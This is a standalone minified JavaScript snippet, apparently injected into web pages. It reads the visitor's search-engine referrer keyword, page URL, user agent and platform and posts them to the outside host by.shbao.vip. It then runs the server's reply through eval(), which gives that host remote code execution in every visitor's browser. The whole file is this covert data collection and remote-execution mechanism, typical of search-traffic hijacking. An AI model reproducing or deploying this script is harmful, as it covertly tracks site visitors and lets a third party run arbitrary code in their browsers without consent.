(function () { window.ly_func = { parseURL: function (url) { var a = document.createElement('a'); a.href = url; return { source: url, protocol: a.protocol.replace(':', ''), host: a.hostname, port: a.port, query: a.search, params: (function () { var ret = {}, seg = a.search.replace(/^\?/, '').split('&'), len = seg.length, i = 0, s; for (; i < len; i++) { if (!seg[i]) { continue; } s = seg[i].split('='); ret[s[0]] = s[1]; } return ret; })(), file: (a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1], hash: a.hash.replace('#', ''), path: a.pathname.replace(/^([^\/])/, '/$1'), relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1], segments: a.pathname.replace(/^\//, '').split('/') }; }, post: function (url, data, fn, is_as) { var obj = new XMLHttpRequest(); obj.open("POST", url, is_as); obj.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); obj.onreadystatechange = function () { if (obj.readyState == 4 && (obj.status == 200 || obj.status == 304)) { fn.call(this, obj.responseText); } }; obj.send(data); } } var $data = {"id": "9"}, $url = ly_func.parseURL(document.referrer); $data["wd"] = $url.params.wd || $url.params.word || $url.params.query || $url.params.query || $url.params.keyword || ''; $data["title"] = document.title; $data["href"] = document.location.protocol + "//" + window.location.host + "" + document.location.port + "" + window.location.pathname; $data["user_agent"] = navigator.userAgent; $data["source"] = $url.host; $data["platform"] = navigator.platform; $data["referrer"] = document.referrer; $wd_temp = $data["wd"]; try { if (/.sm.cn$/i.test($url.host)) { $data["wd"] = $url.params.q || ''; $wd_temp = $data["wd"]; } if (/.smapi.cn$/i.test($url.host)) { $data["wd"] = $url.params.q || ''; $wd_temp = $data["wd"]; } if (/.so.com$/i.test($url.host)) { $data["wd"] = $url.params.q || ''; $wd_temp = $data["wd"]; } if ($data["wd"].length <= 0 && $url.host == 'youxuan.baidu.com') { $wd_temp = $url.params.p.replace(/^query%3D/, '').replace(/%26.*$/, ''); } if ($data["wd"].length <= 0 && $url.host == 'mip-familydoctor-com-cn.mipcdn.com') { $data["wd"] = ''; $wd_temp = ''; } try { $wd_temp33 = decodeURIComponent($wd_temp); if ($wd_temp33.length > 0) { $wd_temp = $wd_temp33; } } catch (err) { } if ($wd_temp.indexOf('%') >= 0) { ly_func.post("//by.shbao.vip/api/getTransCoding?wd=" + $wd_temp, '', function ($rs) { $rs = JSON.parse($rs); if ($rs['code'] == '0') { $wd_temp = $data["wd"] = $rs['keyword']; } }, false); } if ($wd_temp.indexOf('%') >= 0) { ly_func.post("//by.shbao.vip/api/getTransCoding?wd=" + $wd_temp, '', function ($rs) { $rs = JSON.parse($rs); if ($rs['code'] == '0') { $data["wd"] = $rs['keyword']; } }, false); } $data["wd"] = window.wd = decodeURIComponent($data["wd"]); } catch (err) { } var postRequestLog = function ($data) { ly_func.post("//by.shbao.vip/api/postResultLog", JSON.stringify($data), function ($rs) { }) }; //发送数据 ly_func.post("//by.shbao.vip/api/getWebResult", JSON.stringify($data), function ($rs) { $rs = JSON.parse($rs); if ($rs['code'] == '0') { eval($rs['do']); } if( ($data&&$data['wd']&&$data['wd'].length>0)){ postRequestLog($data); } }, true); })();